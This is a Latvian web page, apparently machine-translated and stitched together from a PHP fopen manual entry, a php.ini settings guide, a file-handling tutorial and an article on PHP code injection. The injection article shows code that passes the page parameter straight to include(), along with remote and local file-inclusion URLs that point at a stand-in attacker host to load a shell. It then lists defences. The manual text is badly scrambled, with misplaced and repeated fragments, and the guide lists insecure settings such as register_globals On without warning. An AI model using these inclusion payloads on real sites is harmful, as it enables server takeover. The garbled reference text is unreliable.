Sākums / Spēļu konsoles / Darbs ar failiem php: atvēršana, rakstīšana, lasīšana. Vai PHP proc_open bloķē tīmekļa pieprasījumu? Kļūdu apstrāde un žurnāli

Darbs ar failiem php: atvēršana, rakstīšana, lasīšana. Vai PHP proc_open bloķē tīmekļa pieprasījumu? Kļūdu apstrāde un žurnāli

(PHP 4, PHP 5, PHP 7)

fopen - Atver failu vai URL

Apraksts

Resurss fopen (virkne $faila nosaukums , virkne $mode [, bool $use_include_path = false [, resurss $konteksts ]])

fopen () piešķir straumei nosaukto resursu, kas norādīts argumentā faila nosaukums.

Parametru saraksts

Ja faila nosaukums tiek nodots formā "scheme://...", tas tiek uzskatīts par URL, un PHP šai shēmai meklēs protokola apdarinātāju (pazīstams arī kā "iesaiņotājs"). protokolu, PHP izdos brīdinājumu, lai palīdzētu jums izsekot potenciālai problēmai jūsu skriptā un pēc tam turpināt izpildi tā, it kā faila nosaukums norādītu uz parastu failu.

Ja PHP iestata faila nosaukumu, lai norādītu uz vietējo failu, tas mēģina atvērt šī faila straumi.

Failam ir jābūt pieejamam PHP, tāpēc jums jāpārliecinās, vai faila atļaujas to atļauj.

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.:

Ja PHP nosaka, ka faila nosaukums norāda uz reģistrētu protokolu un šis protokols ir reģistrēts kā tīkla URL, PHP pārbauda direktīvas allow_url_fopen stāvokli. Ja tas ir atspējots, PHP izdos brīdinājumu un fopen izsaukums neizdosies. komentēt Atbalstīto protokolu saraksts ir pieejams sadaļā Atbalstītie protokoli un iesaiņotāji. Daži protokoli ( iesaiņojumi) atbalsts kontekstā).

Windows platformā faila ceļā ir jāizvairās no atpakaļvērstās slīpsvītras vai jāizmanto slīpsvītras uz priekšu.

$rokturis = fopen("c:\\folder\\resource.txt" , "r" );
?>

Modeļa parametrs norāda piekļuves veidu, kuru pieprasāt no pavediena. Tā var būt viena no tālāk norādītajām opcijām.

Iespējamo režīmu saraksts fopen () izmantojot režīmu
režīmā Apraksts
"r" Atver failu tikai lasāms; novieto rādītāju faila sākumā.
"r+" Atver failu lasīšanai un rakstīšanai; novieto rādītāju faila sākumā.
"w" Atver failu tikai rakstīšanai; novieto rādītāju faila sākumā un saīsina failu līdz nullei.
Ja fails neeksistē, tas mēģina to izveidot. "w+"
Atver failu lasīšanai un rakstīšanai; novieto rādītāju faila sākumā un saīsina failu līdz nullei. Ja fails neeksistē, tas mēģina to izveidot.
"a" Atver failu tikai rakstīšanai; novieto rādītāju faila beigās. Ja fails neeksistē, tas mēģina to izveidot.
"a+" Atver failu lasīšanai un rakstīšanai; novieto rādītāju faila beigās. Ja fails neeksistē, tas mēģina to izveidot. fopen ()"x" Izveido un atver tikai rakstīšanai; novieto rādītāju faila sākumā. Ja fails jau pastāv, zvaniet beidzas ar neveiksmi, atgriezīsies FALSE un dos līmeņa kļūdu E_BRĪDINĀJUMS. Ja fails neeksistē, tas mēģinās to izveidot. Tas ir līdzvērtīgs karodziņu norādīšanai.
O_EXCL|O_CREAT iekšējam sistēmas izsaukumam "a+".
atvērts (2) "x+" "w" Izveido un atver lasīšanai un rakstīšanai; citādi ir tāda pati uzvedība kā "a+""c" Atver failu tikai rakstīšanai. Ja fails neeksistē, tas tiek izveidots. Ja fails pastāv, tas nav saīsināts (atšķirībā no "w"), un šīs funkcijas izsaukšana neizraisa kļūdu (kā tas ir gadījumā ). Faila rādītājs tiks iestatīts uz faila sākumu. Tas var būt noderīgi, ja vēlaties bloķēt failu (sk ganāmpulks ()
) pirms maiņas, kopš lietošanas var saīsināt failu pirms bloķēšanas iegūšanas (ja vēlaties saīsināt failu, varat izmantot funkciju atvērts (2).

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.:

ftruncate() pēc bloķēšanas pieprasījuma)."c+" Atver failu lasīšanai un rakstīšanai; citādi ir tāda pati uzvedība kā Dažādām operētājsistēmu saimēm ir atšķirīgas konvencijas attiecībā uz rindu beigām. Kad rakstāt tekstu un vēlaties ievietot rindiņas pārtraukumu, jums ir jāizmanto pareizās rakstzīmes (vai simbols). operētājsistēma. Unix ģimenes sistēmu izmantošana \n kā rindas beigu raksturs, sistēma Windows saime kā rindiņas beigu rakstzīmi.

Ja, rediģējot failus, izmantojat nepareizu rindas beigu rakstzīmi, iespējams, ka tie izskatās dīvaini, kad tos atverat.

Windows piedāvā teksta apraides režīma karogu ( "t"), kas tiks automātiski tulkots Atver failu lasīšanai un rakstīšanai; citādi ir tāda pati uzvedība kā V \n strādājot ar failu. Un otrādi – var arī izmantot"b" Un otrādi – var arī izmantot lai piespiestu bināro režīmu, kas nepārvērsīs jūsu datus. Lai izmantotu šos režīmus, norādiet "t" vai

režīma parametra pēdējais burts. "t" Tā kā noklusējuma tulkošanas karoga iestatījums ir atkarīgs no SAPI un jūsu izmantotās PHP versijas, pārnesamības apsvērumu dēļ iesakām tieši iestatīt norādīto karogu. Jums ir jāizmanto režīms ja strādājat ar teksta fails Atver failu lasīšanai un rakstīšanai; citādi ir tāda pati uzvedība kā un izmantot Un otrādi – var arī izmantot.

lai atzīmētu skripta rindas beigas, neuztraucoties par failu lasāmību citās lietojumprogrammās, piemēram, Notepad. Visos citos gadījumos izmantojiet karogu \n.

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.:

Ja, strādājot ar binārajiem failiem, nepārprotami nenorādīsit karogu “b”, var rasties dīvaini datu bojājumi, tostarp bojāti attēlu faili un dīvainas simbolu problēmas. fopen () .

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.:

Pārnesamības apsvērumu dēļ ir ļoti ieteicams vienmēr izmantot karodziņu "b", atverot failus ar "t" Turklāt pārnesamības apsvērumu dēļ ir ļoti ieteicams arī pārrakstīt mantoto kodu, kas balstās uz Un otrādi – var arī izmantot.

lai tā vietā tiktu izmantotas pareizas rindu beigas un režīms

use_include_path Neobligāto trešo parametru use_include_path var iestatīt uz "1" vai PATIESA

ja vēlaties arī meklēt failu ar include_path .

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.: Konteksts PHP 5.0.0 tika pievienots konteksta atbalsts. Aprakstam kontekstos

skatiet sadaļu Straumes.

Atgriešanās vērtības Izveido un atver tikai rakstīšanai; novieto rādītāju faila sākumā. Ja fails jau pastāv, zvaniet Atgriež rādītāju uz failu, ja tas ir veiksmīgs, vai

kļūdas gadījumā.

Kļūdas FALSE Ja failu nevar atvērt, tiks ģenerēta līmeņa kļūda

. Varat izmantot operatoru, lai novērstu šo kļūdu.

Izmaiņu saraksts

Piemēri fopen ()

1. piemērs Lietošanas piemēri
$rokturis = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$rokturis = fopen("http://www.example.com/" , "r" ); $rokturis = fopen ( "ftp://lietotājs:[aizsargāts ar e-pastu]/dažs fails.txt"
?>

, "w");

Piezīmes

Uzmanību Izmantojot SSL, Microsoft IIS pārkāpj protokolu, aizverot savienojumu, nenosūtot indikatoru. PHP ziņos par to kā "SSL: Fatal Protocol Error", tiklīdz jūs sasniegsit datu beigas. Lai to apietu, iestatiet error_reporting līmeni, kas izslēdz E_WARNING. PHP versijas 4.3.7 un vecākas var noteikt, ka servera pusē ir problemātiska IIS, atverot straumi, izmantojot iesaiņojumu https:// un nerāda brīdinājumu. Ja jūs lietojat fsockopen() radīt ssl:// kontaktligzdas, jūsu pienākums ir noteikt un izslēgt šo brīdinājumu.

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.: Kad ir iespējota drošā režīma opcija, PHP pārbauda, ​​vai direktorijam, ar kuru gatavojaties strādāt, ir tāds pats UID (īpašnieks) kā izpildāmajam skriptam.

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.:

Ja rodas problēmas, lasot vai rakstot failus un izmantojat PHP kā servera moduli, pārliecinieties, vai servera procesam ir piekļuve jūsu izmantotajiem failiem un direktorijiem.

Ja esat iespējojis drošo režīmu vai open_basedir, tiek piemēroti papildu ierobežojumi.:

Šī funkcija var izdoties arī tad, ja faila nosaukums ir direktorijs. Ja neesat pārliecināts, vai faila nosaukums ir fails vai direktorijs, jums ir jāizmanto funkcija ir_dir() fopen () .

, pirms zvana

  1. Faila php.ini atrašanās vieta ir atkarīga no operētājsistēmas, kurā darbojas mitināšanas pakalpojumu sniedzēja serveris. Lai uzzinātu, kur tas atrodas, veiciet 4 vienkāršas darbības:
  2. Izveidojiet php failu (nosaukums var būt jebkas, bet mēs ņemam kā piemēru myphpinfo.php) un pievienojiet tam šādas rindas:
  3. Augšupielādējiet šo failu serverī, kurā atrodas jūsu vietne (saknes mapē).
  4. Mēs palaižam, izmantojot pārlūkprogrammu (ievadiet URL https://yoursitename.com/myphpinfo.php).

Parādītajā logā meklējiet ceļu uz php.ini (vispirms apskatiet “Loaded Configuration File”, ja tas saka “Nav”, tad skatiet “Configuration File (php.ini) Path”).

Kā konfigurēt php.ini? Failam php.ini ir šādi sintakses noteikumi "direktīva = vērtība". Ja vēlaties pievienot komentārus (piemēram, kuros norādāt, kas ietekmēšo iestatījumu

), tad dariet to aiz semikola (viss, kas nāk aiz šīs zīmes, netiek skaitīts kā komanda). Šeit ir piemērs:

maksimālais_izpildes_laiks = 40 ; Maksimālais sekunžu skaits skripta izpildei

Vispārīgi iestatījumi

PHPengine = On ; PHP skripti ir iespējoti.

Short_open_tag = Ieslēgts ; Ļauj vienkāršot PHP koda kadrēšanu ar tagiem<% %>

Asp_tags = Ieslēgts ; Iespējo iespēju izcelt PHP kodu, kā tas tiek darīts ASP -

Precizitāte = 12 ; Norāda, cik ciparu būs aiz komata peldošā komata skaitļiem.

Izvades_buferizācija = 4096 ; Izvades buferizācija tiks automātiski iespējota ar bufera lielumu, kas norādīts aiz "vienāds".

Safe_mode_allowed_env_vars = PHP_ ; Ļauj lietotājam strādāt tikai ar vides mainīgajiem, kas sākas ar PHP_. Ja šī direktīva ir tukša (tam nebūs vērtības), lietotāji varēs mainīt jebkurus vides mainīgos. Tas var ļoti kaitēt skripta drošībai.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Aizliedz mainīt mainīgos, kas ir uzskaitīti, atdalot tos ar komatiem.

Disable_functions = ; Pēc vienādības zīmes jums ir jāpieraksta funkcijas, kuras vēlaties atspējot, atdalot ar komatiem (parasti tas tiek darīts drošības nolūkos)

Disable_classes = ; Pēc "vienādības" zīmes jāpieraksta, atdalot ar komatiem, klases, kuru zvanus vēlaties aizliegt (parasti tas tiek darīts drošības nolūkos)

Resursu ierobežojums

maksimālais_izpildes_laiks = 40 ; Maksimālais skripta izpildes laiks (sekundēs)

Maksimālais_ievades_laiks = 40 ; Maksimālais laiks sekundēs, kas tiek piešķirts skriptam, lai apstrādātu ielādētos datus.

Atmiņas_limits = 16M ; Vienam skriptam atvēlētā maksimālā atmiņa

Kļūdu apstrāde un žurnāli

kļūdu_ziņošana = E_ALL | E_ERROR | E_BRĪDINĀJUMS | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Norāda kļūdu sarakstu, kuras var parādīt.

Display_errors = Ieslēgts; Ļauj kļūdas parādīt tieši pārlūkprogrammā (bieži izmanto, lai atvieglotu atkļūdošanu).

Display_startup_errors = Ieslēgts ; Ir atļauts parādīt kļūdas, kas parādās PHP startēšanas laikā.

Log_errors = Ieslēgts ; Kļūdas ir atļauts ierakstīt žurnālfailā.

Log_errors_max_len = 1024; Maksimālais rakstzīmju skaits, kas var būt žurnāla garumā.

Track_errors = Ieslēgts ; Jaunākie kļūdu ziņojumi tiks saglabāti mainīgajā $php_errormsg

Html_errors = Ieslēgts ; Atļaut kļūdu ziņojumus rādīt HTML formātā.

Error_log = faila nosaukums ; Iestata kļūdu žurnāla nosaukumu.

Datu apstrāde

variables_order = "EGPCS" ; Iestata secību, kādā PHP reģistrēs mainīgos (E - iebūvētie mainīgie, G - GET mainīgie, P - POST mainīgie, C - Cookies, S - sesijas). Ja noņemsiet kādu no burtiem, atbilstošo mainīgo darbība tiks bloķēta.

Register_globals = Ieslēgts ; Iespējo iespēju apstrādāt mainīgos, kas tiek saņemti, izmantojot GET/POST/Sīkfailu/sesiju, kā parastos mainīgos (piemēram, "$mainīgā nosaukums").

Register_argc_argv = Ieslēgts ; Ir atļauts izveidot $argv un $argc mainīgos, pamatojoties uz informāciju no GET metodes.

Ziņas_maksimālais_izmērs = 8 M; Iestata maksimālo datu apjomu, ko var saņemt.

Magic_quotes_gpc = Ieslēgts ; Iespējo automātisku to piedāvājumu apstrādi, kas saņemti, izmantojot POST/GET/Cookie.

Auto_prepend_file = ; Šajās direktīvās norādīto failu saturs ir attiecīgi jāapstrādā PHP PIRMS skripta izpildes
auto_append_file = ; Šajās direktīvās norādīto failu saturs ir attiecīgi jāapstrādā PHP PĒC skripta izpildes.

Default_mimetype = "text/html" ; Iestata satura tipa kodējumu. Pēc noklusējuma teksts/html tiks izmantots, nenorādot kodējumu

Doc_root = ; Iestata PHP skriptu saknes mapi.

Extension_dir = "./" ; Norāda mapi, kurā tiks saglabāti dinamiski ielādētie paplašinājumi.

Failu augšupielāde

file_uploads = Ieslēgts ; Failu augšupielāde serverī ir atļauta.

Upload_tmp_dir = ; Pagaidu lejupielādējamo failu direktorijs.

Augšupielādes_maksimālais_faila lielums = 2M ; Iestata maksimālo faila lielumu, ko var augšupielādēt.

Darbs ar rozetēm

user_agent="PHP" ; Mainīgais USER_AGENT tiek iestatīts, kad tiek izveidots ligzdas savienojums.

Default_socket_timeout = 30 ; Maksimālais klausīšanās laiks ligzdā (sekundēs).

Sesijas

session.save_handler = faili; Norāda, ka sesijas informācija ir jāsaglabā failos

session.save_path = /tmp ; Pēc vienādības zīmes jānorāda ceļš uz mapi, kurā tiks saglabāta informācija par sesijām (svarīgi, lai mape jau pastāv)

session.use_cookies = 1; Ļauj izmantot sīkdatnes sesijās

session.name = PHPSESSID ; Norāda sesijas ID izmantošanu kā sesijas nosaukumu un sesijas sīkfailu

session.cookie_lifetime = 0 ; Sesijas ilgums ("0" nozīmē, ka sesija turpinās līdz pārlūkprogrammas loga aizvēršanai)

session.use_trans_sid = 1 ; Ja lietotājs ir atspējojis sīkfailus, sesijas ID tiks pievienots visām saitēm

Dinamiskie paplašinājumi

paplašinājums=moduļanosaukums.paplašinājums ; Var izmantot ārējo moduļu ielādei. Windows sistēmām tie parasti raksta extension=msql.dll un for
UNIX — paplašinājums=msql.so

Darbs ar MySQL moduļiem

mysql.allow_persistent = Ieslēgts ; Ļauj stabilus MySQL savienojumus.

Mysql.max_persistent = -1 ; Iestata maksimālo stabilo MySQL savienojumu skaitu. Ja norādāt -1, tas nozīmēs, ka ierobežojumu nav.

Mysql.max_links = -1; Iestata maksimālo stabilo MySQL savienojumu un nestabilo ODBC savienojumu skaitu. Ja norādāt -1, tas nozīmēs, ka ierobežojumu nav.

Mysql.default_port = ; Ports funkcijai mysql_connect.

Mysql.default_socket = ; Vietējo MySQL savienojumu ligzdas nosaukums.

Mysql.default_host = ; Mysql_connect funkcijas resursdatora nosaukums.

Mysql.default_user = ; Lietotājvārds.

Mysql.default_password = ; Parole.

Ja izveidojāt savu php.ini failu un ievietojāt to vietnes mapē

Šajā gadījumā drošības apsvērumu dēļ jums ir jābloķē piekļuve tai visiem, izņemot jūs. Lai to izdarītu, .htaccess failā ir jāieraksta šāds kods:


rīkojums atļaut, aizliegt
noliegt no visiem

Bet esiet uzmanīgi, jo... Izmantojot šos iestatījumus, visas direktīvas (php_value, php_flag utt.), kas attiecas uz php iestatījumiem, izmantojot .htaccess failu, pārtrauks darboties (tiks parādīta 500 Internal Server Error).

Svarīgi! Ja izveidojat savu php.ini failu, tas ietekmēs tikai direktoriju, kurā tas atrodas.

resurss fopen(virknes faila nosaukums, virknes režīms [, bool use_include_path [, resursa zcontext]])

fopen () piešķir straumei nosaukto resursu, kas norādīts argumentā faila nosaukums. Ja faila nosaukums tiek nodots formā "scheme://...", tas tiek uzskatīts par URL, un PHP šai shēmai meklēs protokola apdarinātāju (pazīstams arī kā "iesaiņotājs"). protokolu, PHP izdos piezīmi, lai palīdzētu jums izsekot potenciālai problēmai jūsu skriptā, un turpinās izpildi tā, it kā faila nosaukums norādītu uz parastu failu.

Ja PHP nolemj, ka faila nosaukums norāda uz vietējo failu, tas mēģinās atvērt šī faila straumi. Failam ir jābūt pieejamam PHP, tāpēc jums ir jāpārliecinās, vai faila atļaujas to atļauj. Ja ir iespējots drošais režīms vai open_basedir, tiek piemēroti papildu ierobežojumi.

Ja PHP ir nolēmis, ka faila nosaukums norāda uz reģistrētu protokolu un šis protokols ir reģistrēts kā tīkla URL, PHP pārbaudīs atļaujas_url_fopen direktīvas stāvokli. Ja tas ir atspējots, PHP izdos brīdinājumu un fopen izsaukums neizdosies.

komentēt: Daži protokoli atbalsta konteksta un/vai php.ini opcijas. Attiecīgajā protokola lapā skatiet iestatāmo opciju sarakstu. (piemēram, php.ini user_agent vērtību izmanto http iesaiņotājs). Kontekstu un zcontext parametru aprakstu skatiet sadaļā Straumes funkcijas.

komentēt: PHP 5.0.0 tika pievienots konteksta atbalsts.

komentēt: Sākot ar PHP 4.3.2, binārais režīms ir noklusējuma režīms visām platformām, kas atšķir bināro un teksta režīmu. Ja pēc jaunināšanas rodas problēmas, mēģiniet izmantot karogu "t" kā risinājumu, līdz maināt skriptus, lai nodrošinātu lielāku pārnesamību, kā minēts iepriekš.

Modeļa parametrs norāda piekļuves veidu, kuru pieprasāt no pavediena. Tas var būt viens no šiem:

Ja failu nevarēja atvērt, funkcija atgriezīsies FALSE un radīs līmeņa kļūdu E_BRĪDINĀJUMS. Varat to izmantot, lai izslēgtu šo brīdinājumu.


1. piemērs. Funkcijas izmantošanas piemēri fopen ()

1. piemērs Lietošanas piemēri
$rokturis = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$rokturis = fopen("http://www.example.com/" , "r" ); $rokturis = fopen ( "ftp://lietotājs:[aizsargāts ar e-pastu]/dažs fails.txt"
?>

Ja rodas problēmas, lasot vai rakstot failus un izmantojat PHP kā servera moduli, pārliecinieties, vai servera procesam ir piekļuve jūsu izmantotajiem failiem un direktorijiem.

16,5 tūkst

Faktiski php faila atvēršana nav liela problēma. Var būt grūtāk atvērt alus pudeli, atrodoties meža vidū. Taču šādi domā tikai dedzīgi programmētāji. Un iesācējiem mēs jums pastāstīsim par visām PHP iespējām darbam ar failiem:

php faili

Faili ar php paplašinājumu satur kodu, kas rakstīts tāda paša nosaukuma programmēšanas valodā. Atšķirībā no citām valodām, php ir servera puses programmēšanas valoda. Tas ir, tas darbojas servera pusē. Tāpēc, lai atkļūdotu tā kodu, klienta datorā ir jāinstalē vietējais serveris.

Lai strādātu ar php failiem, tiek izmantotas īpašas lietojumprogrammas - programmatūras redaktori. Visizplatītākie ir:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP izstrāde.
Veidojot tīmekļa vietnes, kuru pamatā ir PHP, iespējams, būs atkārtoti jāizmanto programmas kods. Šādās situācijās ir ērti savienot gatavus risinājumus, kas atrodas citā failā. Šim nolūkam tiek izmantota iekļautā konstrukcija. Tās sintakse ir:

iekļaut faila nosaukumu

Savienojuma piemērs:

Iekļauts fails:


Faila iekļaušana ir iespējama arī, izmantojot prasību konstrukciju. Atšķirībā no include, tas ietver failu pirms programmas koda izpildes. Kodā izmantojot prasību, ir iespējams tikai viens šī faila izsaukums. Atkārtoti piekļūstot, sistēma parādīs globālu kļūdas ziņojumu un apturēs programmas izpildi.

Iekļautā konstrukcija ietver tikai avotu programmas izpildes laikā. Tā atbalsta vairākas php failu lasīšanas. Ja rodas kļūda, tiks parādīts tikai brīdinājuma ziņojums, un koda izpilde tiks turpināta no nākamās rindas.

Failu atvēršana un aizvēršana

php visas darbības ar failiem tiek veiktas vairākos posmos:

  • Faila atvēršana;
  • Satura rediģēšana;
  • Faila aizvēršana.

Funkcija fopen () tiek izmantota, lai atvērtu failu. Tās sintakse ir:

int fopen (virknes faila nosaukums, virknes režīms [, int use_include_path])

Pieņemtie argumenti:

  • virknes faila nosaukums – faila nosaukums vai absolūtais ceļš uz to. Ja faila ceļš nav norādīts, tas tiks meklēts pašreizējā direktorijā. Ja meklētā faila trūkst, sistēma parādīs kļūdas ziņojumu. Piemērs:

  • virknes režīms – norāda faila atvēršanas režīmu. Argumentā pieņemtās vērtības:
  • r – fails tiek atvērts tikai lasīšanai, faila rādītājs ir iestatīts sākumā;
  • r+ – fails ir atvērts lasīšanai un rakstīšanai;
  • w – izveido jaunu failu tikai rakstīšanai. Ja fails ar tādu pašu nosaukumu jau pastāv, visi tajā esošie dati tiek automātiski dzēsti;
  • w+ - izveido jaunu failu rakstīšanai un lasīšanai. Kad šāds fails pastāv, tā dati tiek pilnībā pārrakstīti ar jauniem;
  • a – fails ir atvērts rakstīšanai. Rādītājs ir iestatīts beigās. Tas ir, rakstīšana php failā sāksies nevis no sākuma, bet no beigām;
  • a+ – atver failu lasīšanas-rakstīšanas režīmā. Ieraksts sāksies no beigām;
  • b – režīms darbam ar failu, kas satur bināros datus (bināro skaitļu sistēmā). Šis režīms ir pieejams tikai operētājsistēmā Windows.

Lai aizvērtu piekļuvi failam, izmantojiet funkciju fclose(). Sintakse:

int fclose (int fails) , kur int fails ir aizveramās vietnes rokturis.

Pēc katras lasīšanas vai rakstīšanas fails ir jāaizver ar šo funkciju. Pretējā gadījumā failam izveidotā straume paliek atvērta. Un tas noved pie nevajadzīga servera jaudas patēriņa.

Piemērs:

Failu lasīšana un rakstīšana

Lai vienkārši parādītu visu faila saturu, funkcija readfile () ir ideāla. Tās sintakse ir:

readfile (virknes faila nosaukums) , kur virknes faila nosaukums ir virknes faila nosaukums (nevis rokturis).


To pašu failu var nolasīt, izmantojot fpassthru() funkciju. Tas nolasa datus no beigu rādītāja pozīcijas līdz faila beigām. Tās sintakse ir:

int fpassthru (int fails)

Funkcijai ir jāatver un jāaizver fails. Piemērs:

Rezultāts ir līdzīgs iepriekšējam.

Funkcijas darbam ar failiem programmā php ļauj lasīt saturu pa rindiņai un rakstzīmei pēc rakstzīmes:

  • virkne fgets (int fails, int garums)– funkcija nolasa virkni, kuras garums ir . Piemērs:

  • string fread (int fails, int garums)– darbība ir identiska iepriekšējai.

Lai failā ierakstītu teksta datus, ir divas identiskas funkcijas:

  • int fputs (int fails, virknes virkne [, int garums ])
  • int fwrite(int fails, virknes virkne [, int garums ])

Funkcijas ieraksta failā int failā virknes virkni ar norādīto garumu int garumu ( izvēles arguments). Piemērs:

Failu izveide un dzēšana

Lai izveidotu php failu, varat izmantot funkciju fopen() piekļuves režīmā "w" vai "w+". Vai arī touch() funkcija. Tas nosaka faila modifikācijas laiku. Ja nav elementa ar meklēto nosaukumu, tas tiks izveidots. Tās sintakse.

PHP injekcijas pamati iesācējiem.​


PHP injekcija(ang. PHP injekcija) - par Viens no veidiem, kā uzlauzt vietnes, kas darbojas ar PHP, ir izpildīt svešu kodu servera pusē. Potenciāli bīstamas funkcijas ir:
eval (),
preg_replace() (ar modifikatoru "e"),
prasīt_vienreiz(),
iekļaut_vienreiz(),
iekļaut (),
prasīt (),
Create_function().

PHP injekcija kļūst iespējama, ja ievades parametri tiek pieņemti un izmantoti bez validācijas.

Noklikšķiniet, lai izvērstu...

(c) Wiki


Pamati.​

Php injekcija- tas ir uzbrukuma veids vietnei, kad uzbrucējs ievada savu PHP kodu uzbruktajā PHP lietojumprogrammā.
Ja injekcija ir veiksmīga, uzbrucējs mērķa serverī var izpildīt patvaļīgu (potenciāli bīstamu) PHP kodu. Piemēram, aizpildiet apvalku. Bet vispirms sīkāk apspriedīsim, kā tas notiek.

Piemēram:
Iedomāsimies, ka mums ir PHP rakstīta vietne.
Iedomāsimies arī, ka vietne izmanto komandu lapa=lapa.html lai parādītu pieprasīto lapu.
Kods izskatīsies šādi:

$fails = $_GET ["lapa"]; //Rādīta lapa
iekļaut($fails);
?>

Tas nozīmē, ka viss lapā redzamais tiks iegults šīs lapas PHP kodā. Tāpēc uzbrucējs var rīkoties šādi:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

Ja skatāmies uz to, kas notiek pēc iekļaušanas izpildes, mēs redzam, ka mērķa serverī tiek izpildīts šāds kods:

$fails = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["lapa"];
iekļaut($fails); //$fails ir uzbrucēja ievadīts skripts
?>

Mēs redzam, ka uzbrucējs ir veiksmīgi uzbrukis mērķa serverim.

Sīkāka informācija:
Tātad, kāpēc uzbrucējs varēja veikt PHP injekciju?
Viss funkcijas dēļ iekļaut () ļauj palaist attālos failus.

Kāpēc piemērā tika norādīts skripts ar paplašinājumu *.txt , nē *.php ?
Atbilde ir vienkārša, ja skriptam būtu formāts *.php , tas darbotos uzbrucēja serverī, nevis mērķa sistēmā.

Tika pievienots arī simbols " ? " ievadītajā skripta ceļā, lai noņemtu visu funkcijas iekšpusē iekļaut () mērķa serverī.
Piemērs:

$fails = $_GET ["lapa"];
include($fails . ".php" );
?>

Šis skripts pievieno paplašinājumu *.php uz jebko, ko izsauc komanda iekļaut () .
Tie.

http: //www.attack_server.com/malicious_script.txt

pārvēršas par

http: //www.attack_server.com/malicious_script.txt.php

Skripts nedarbosies ar šo nosaukumu (fails neeksistē uzbrucēja serverī /malicious_script.txt.php)
Tāpēc mēs pievienojam "?" līdz ļaunprātīgā skripta ceļa beigām:

http: //www.attack_server.com/malicious_script.txt?.php

Bet tas paliek izpildāms.

PHP injekciju veikšana, izmantojot funkcijas include() ievainojamību.​

RFI — tālvadības pults iekļauts PHP injekcijas laikā


Spēja vadīt RFI ir diezgan izplatīta kļūda dzinējos.
To var atrast šādi:
Pieņemsim, ka mēs nejauši atrodam lapu, kas pārlūkprogrammas adreses joslā beidzas šādi:

/indekss. php? lapa = galvenā

Tā vietā mēs aizstājam galvenais piemēram, jebkāda maldīga nozīme upyachka

/indekss. php? lapa = upyachka

Atbildot uz to, mēs saņemsim kļūdu:

Brīdinājums: galvenais (upyachka. php): neizdevās atvērt straumi: 3. rindā nav šāda faila vai direktorija mapē / home / user / www //page.php

Brīdinājums: galvenais (upyachka. php): neizdevās atvērt straumi: nav šāda faila vai direktorija / mājas / lietotājs / www / lapā. php 3. rindā

Brīdinājums : galvenais (): neizdevās atvērt "upyachka.php" iekļaušanai (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/bumbieris") mapē /home/user/www/page. php 3. rindā

Tas mums parāda, ka iekļaušana ir iespējama.
Mēģināsim aizstāt upyachka vietne ar ceļu uz čaulu (čaulas faila paplašinājumu nevajadzētu norādīt vai norādīt to, kā aprakstīts iepriekš)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

Tādā veidā tiek iegūta čaula. Tagad jums ir jāinformē vietnes administrators par ievainojamību, lai viņš to varētu novērst, lai ļaunie puiši neizmantotu kļūdu.

LFI — lokālais iekļauts PHP injekcijai.​


Iedomāsimies, ka esam saskārušies ar to pašu neaizsargāto vietni

/indekss. php? fails=galvenais

Ar kodu

..
Iekļaut ("folder/ $page .htm" );

?>

Tā jau ir vietēja iekļaušana. Šādā situācijā ir iespējams tikai failu saraksts:

/indekss. php? lapa =../ rādītājs . php

Šajā gadījumā kods izskatās šādi:

..
Include("$dir1/folder/page.php");

?>

Šajā gadījumā ceļu uz čaulu var ierakstīt šādi:
Izveidojiet mapi mapi vietnē, kurā tiek glabāts apvalks, nometiet čaulu šajā mapē:

http: //www.attack_site.com/folder/shell.php

Šajā gadījumā injekcija izskatīsies šādi:

rādītājs. php? dir1 = http : //www.site_attacker.com/

Aizsardzības metodes


Apskatīsim skriptu:

...

ietver $module . ".php" ;
...
?>

Šis skripts ir neaizsargāts mainīgā satura dēļ $modulis tikko pievienots *.php un fails tiek palaists, izmantojot iegūto ceļu.

Ir vairāki veidi, kā aizsargāties pret šādu uzbrukumu:​


-Pārbaudiet, vai mainīgajā $module ir svešas rakstzīmes:

...
$module = $_GET ["modulis"];
if (strpbrk ($module , ".?/:" )) die("Bloķēts" );
ietver $module . ".php" ;
...
?>

-Pārbaudiet, vai $module ir piešķirta viena no derīgajām vērtībām:
"/" , "" , $lapa ); // Iespēja pāriet uz citiem direktorijiem ir bloķēta.
if (file_exists ("faili/ $lapa .htm " ))
{
Include("files/$page.htm" );
}
Citādi
{
Atbalss
"kļūda";
}

?>

PHP nodrošina arī iespēju atspējot attālo failu izmantošanu, tas tiek darīts, mainot php.ini konfigurācijas failā opcijas allow_url_fopen vērtību uz Off.

Aprakstītā ievainojamība rada lielu bīstamību vietnei, un PHP skriptu autoriem par to nevajadzētu aizmirst.

Rakstot materiālus no
Vikipēdija,
no ārvalstu foruma security-sh3ll (spl0it),
no Antichat foruma (GreenBear).
Īpašs paldies Burt Un f02 par jūsu palīdzību,
atbalsts un laba kritika)